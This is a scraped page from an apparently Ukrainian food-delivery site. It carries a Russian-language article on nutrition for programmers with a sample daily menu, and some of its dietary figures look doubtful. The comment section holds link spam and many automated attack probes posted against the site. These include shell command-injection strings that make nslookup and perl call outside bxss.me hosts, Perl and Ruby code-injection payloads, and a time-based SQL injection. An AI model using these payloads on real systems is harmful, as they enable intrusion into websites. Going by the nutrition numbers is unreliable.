відновлення паролю
{{getCnt()}}
(068) 708-15-00
зворотній зв'язок
(068) 708-15-00
(050) 708-15-00
(073) 708-15-00
зворотній зв'язок
Питание для IT специалистов
20
03.2018
Питание для IT специалистов - оптимальный рацион для людей умственного труда
Особенности профессии накладывают свой отпечаток на все сферы жизнедеятельности человека, в том числе, и на его стиль питания. Поэтому диета для программиста сильно отличается от рациона строителя или медика.
Прежде всего понятно, что программист в Украине проводит каждый день в сидячем положении минимум 8 часов подряд.
Понятно, что утоление голода происходит обычно очень хаотично, быстро и бессистемно.
Отсюда возникают многие проблемы с пищеварительным трактом, состоянием позвоночника и общим психофизическим самочувствием.
Основные принципы правильного питания
Для того, чтобы избежать проблем со здоровьем и физической формой, офисному работнику необходимо изучить вопрос здорового питания и постараться перейти на нормальный пищевой рацион.
Основные принципы правильного питания довольны просты:
- Отказ от вредных продуктов – консерв, газированных сладких напитков, фаст-фуда.
- Тщательный контроль за потреблением сахара и соли. Дневная норма соли не должна превышать 5грамм, сахара – 40-20грамм.
- Поддержание необходимого водного баланса. Начните свой день со стакана теплой воды, и в течении дня выпейте 6 таких стаканов, помимо сока, молока, чая и компота.
- Обязательно внесите в свой ежедневное меню не только животные, но и растительные белки. Они содержатся в бобовых растениях- в фасоли, горохе и пр. Дневная норма белков составляет около 35грамм, из них половина должна приходиться на растительные белки.
- Контролируйте потребление углеводов, именно от их избытка вы можете резко прибавить в весе. Дневная норма углеводов – 300-500грамм, но следует помнить, что лучше получать углеводы не из мучных изделий и сахара, а из фруктов, круп и овощей.
Работая в офисе, необходимо помнить, что вы расходуете не так много калорий, поэтому и питание не должно быть сильно калорийным, поддерживайте разумный баланс между потребляемым количеством калорий и израсходованным.
Как организовать питание программисту
Прежде всего, программист должен понимать, что сделать первый шаг навстречу здоровому образу жизни – значит, отказаться от пирожков, булочек, от огромного количества кофе с сахаром и всего остального вредного или бесполезного, что обычно входит в рацион офисного работника.
- Питание программистов обязательно должно включать в себя продукты, необходимые для нормальной работы мозга, т.е., углеводо-содержащие блюда. Лучше всего восполнять углеводы, когда вы едите овощи, фрукты, всевозможных каши.
- Если работе сопутствуют стрессовые ситуации, то можно нивелировать их вредное воздействие не только кусочком шоколада, но и чашкой какао, бананом, помидором – это природные антидепрессанты.
- Следует помнить также, что программист ежедневно подолгу работает за компьютером, подвергая риску свое зрение. Поэтому неплохо включить в свое меню сырую морковь, брокколи, апельсины, абрикосы, чернику, морскую рыбу (скумбрию, сардины, лосось).
- Чтобы уменьшить риск заболеваний позвоночника, нужно строго контролировать потребление соли и периодически разминать мышцы спины.
Примерное меню на один день для программиста выглядит так:
- Стакан воды с капелькой лимонного сока натощак.
- Завтрак – омлет, зерновой хлеб, салат со свежими овощами.
- Ланч – банан, орехи.
- Обед - гречка с тушенными овощами, суп-пюре любой, зерновой хлеб.
- Полдник – йогурт, пару ложек нежирного творога, фрукты.
- Ужин – тушеная рыба или курица, картофель отварной, зелень.
Если вам просто некогда готовить вечером полезные обеды для питания в офисе, то вас может выручить доставка готовых горячих обедов, где вы можете заранее заказать сбалансированный вкусный обед из свежих продуктов. В Днепропетровске мы возьмем на себя заботу о вашем здоровом питании во время рабочего дня, чтобы вы могли трудиться с полной самоотдачей. Наши консультанты помогут вам составить рациональное меню из полезных и вкусных блюд.
Коментарі
за датою
Влад
19-01-2022 08:49
Давно ищу ответ на вопрос «Какая диета нужна айтишнику» и только здесь https://kurs12345.ru/moi_zametki/kakaya-dieta-nuzhna-ajtishniku/нашел ответ на этот вопрос. Отличная статья! Много полезной информации и действительно, такая проблема реально существует!
відповістиlxbfYeaa
23-05-2023 02:22
'.gethostbyname(lc('hitwq'.'sjoanjsnd92fc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(77).chr(116).chr(85).'
відповістиlxbfYeaa
23-05-2023 02:22
".gethostbyname(lc("hituk"."qdkijurm3c1d6.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(80).chr(105).chr(76)."
відповістиlxbfYeaa
23-05-2023 02:22
"+"A".concat(70-3).concat(22*4).concat(105).concat(88).concat(100).concat(78)+(require"socket" Socket.gethostbyname("hitpn"+"zmikjmww5e9cc.bxss.me.")[3].to_s)+"
відповістиlxbfYeaa
23-05-2023 02:22
'+'A'.concat(70-3).concat(22*4).concat(115).concat(72).concat(104).concat(73)+(require'socket' Socket.gethostbyname('hitcr'+'gqsdwqtg1ad62.bxss.me.')[3].to_s)+'
відповістиlxbfYeaa
23-05-2023 02:22
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
відповістиlxbfYeaa
23-05-2023 02:23
echo kbawle$()\ hippgh\nz^xyu||a #' &echo kbawle$()\ hippgh\nz^xyu||a #|" &echo kbawle$()\ hippgh\nz^xyu||a #
відповістиlxbfYeaa
23-05-2023 02:23
&echo rvxvgr$()\ wnrojz\nz^xyu||a #' &echo rvxvgr$()\ wnrojz\nz^xyu||a #|" &echo rvxvgr$()\ wnrojz\nz^xyu||a #
відповістиlxbfYeaa
23-05-2023 02:23
|echo odkswn$()\ gnrfko\nz^xyu||a #' |echo odkswn$()\ gnrfko\nz^xyu||a #|" |echo odkswn$()\ gnrfko\nz^xyu||a #
відповістиlxbfYeaa
23-05-2023 02:23
(nslookup hithsliobazhn92c91.bxss.me||perl -e "gethostbyname('hithsliobazhn92c91.bxss.me')")
відповістиlxbfYeaa
23-05-2023 02:23
$(nslookup hitjpfovchmna043bf.bxss.me||perl -e "gethostbyname('hitjpfovchmna043bf.bxss.me')")
відповістиlxbfYeaa
23-05-2023 02:23
&nslookup hitttebkwiarq33ea1.bxss.me&'\"`0&nslookup hitttebkwiarq33ea1.bxss.me&`'
відповістиlxbfYeaa
23-05-2023 02:23
&(nslookup hitijpycznisi5f8a0.bxss.me||perl -e "gethostbyname('hitijpycznisi5f8a0.bxss.me')")&'\"`0&(nslookup hitijpycznisi5f8a0.bxss.me||perl -e "gethostbyname('hitijpycznisi5f8a0.bxss.me')")&`'
відповістиlxbfYeaa
23-05-2023 02:23
|(nslookup hitjfkihoowypa0139.bxss.me||perl -e "gethostbyname('hitjfkihoowypa0139.bxss.me')")
відповістиlxbfYeaa
23-05-2023 02:23
`(nslookup hitaoowvlbzfwcdefc.bxss.me||perl -e "gethostbyname('hitaoowvlbzfwcdefc.bxss.me')")`
відповістиlxbfYeaa
23-05-2023 02:23
;(nslookup hituuikkwxqqu27087.bxss.me||perl -e "gethostbyname('hituuikkwxqqu27087.bxss.me')")|(nslookup hituuikkwxqqu27087.bxss.me||perl -e "gethostbyname('hituuikkwxqqu27087.bxss.me')")&(nslookup hituuikkwxqqu27087.bxss.me||perl -e "gethostbyname('hituuikkwxqqu27087.bxss.me')")
відповістиlxbfYeaa
23-05-2023 02:44
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
відповістиlxbfYeaa
27-12-2023 03:41
'.gethostbyname(lc('hitpi'.'izheshzr7f5f9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(71).chr(101).chr(85).'
відповістиlxbfYeaa
27-12-2023 03:41
".gethostbyname(lc("hitje"."itprbclte1fb0.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(78).chr(116).chr(83)."
відповістиlxbfYeaa
27-12-2023 03:41
echo zckznt$()\ byacug\nz^xyu||a #' &echo zckznt$()\ byacug\nz^xyu||a #|" &echo zckznt$()\ byacug\nz^xyu||a #
відповістиlxbfYeaa
27-12-2023 03:41
&echo bjlefc$()\ tdbhia\nz^xyu||a #' &echo bjlefc$()\ tdbhia\nz^xyu||a #|" &echo bjlefc$()\ tdbhia\nz^xyu||a #
відповістиlxbfYeaa
27-12-2023 03:41
|echo suarlj$()\ mujecc\nz^xyu||a #' |echo suarlj$()\ mujecc\nz^xyu||a #|" |echo suarlj$()\ mujecc\nz^xyu||a #
відповістиlxbfYeaa
27-12-2023 03:41
(nslookup hitlukikacuma3e96a.bxss.me||perl -e "gethostbyname('hitlukikacuma3e96a.bxss.me')")
відповістиlxbfYeaa
27-12-2023 03:41
$(nslookup hiteetdhwmreyfc80f.bxss.me||perl -e "gethostbyname('hiteetdhwmreyfc80f.bxss.me')")
відповістиlxbfYeaa
27-12-2023 03:41
&nslookup hitgaycunbrih30dc6.bxss.me&'\"`0&nslookup hitgaycunbrih30dc6.bxss.me&`'
відповістиlxbfYeaa
27-12-2023 03:41
&(nslookup hitmieenuiopd620f4.bxss.me||perl -e "gethostbyname('hitmieenuiopd620f4.bxss.me')")&'\"`0&(nslookup hitmieenuiopd620f4.bxss.me||perl -e "gethostbyname('hitmieenuiopd620f4.bxss.me')")&`'
відповістиlxbfYeaa
27-12-2023 03:41
|(nslookup hitqvnwmwcfjr3051c.bxss.me||perl -e "gethostbyname('hitqvnwmwcfjr3051c.bxss.me')")
відповістиlxbfYeaa
27-12-2023 03:41
`(nslookup hitfsglmjgjge7b795.bxss.me||perl -e "gethostbyname('hitfsglmjgjge7b795.bxss.me')")`
відповістиlxbfYeaa
27-12-2023 03:41
;(nslookup hitrqiooisrydb52c1.bxss.me||perl -e "gethostbyname('hitrqiooisrydb52c1.bxss.me')")|(nslookup hitrqiooisrydb52c1.bxss.me||perl -e "gethostbyname('hitrqiooisrydb52c1.bxss.me')")&(nslookup hitrqiooisrydb52c1.bxss.me||perl -e "gethostbyname('hitrqiooisrydb52c1.bxss.me')")
відповістиlxbfYeaa
27-12-2023 04:00
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
відповісти
Залишити коментар
Адреса вашої пошти не буде опублікована.
Обов'язкові поля відзначені *.
Оксана
01-11-2020 16:53
Здравствуйте! Спасибо за полезную информаци! Что вы думаете о развитии памяти таким способом https://nspclub.org/produkciya-nsp/bady-nsp/kak-uluchshit-pamyat?a=1993 ?
відповісти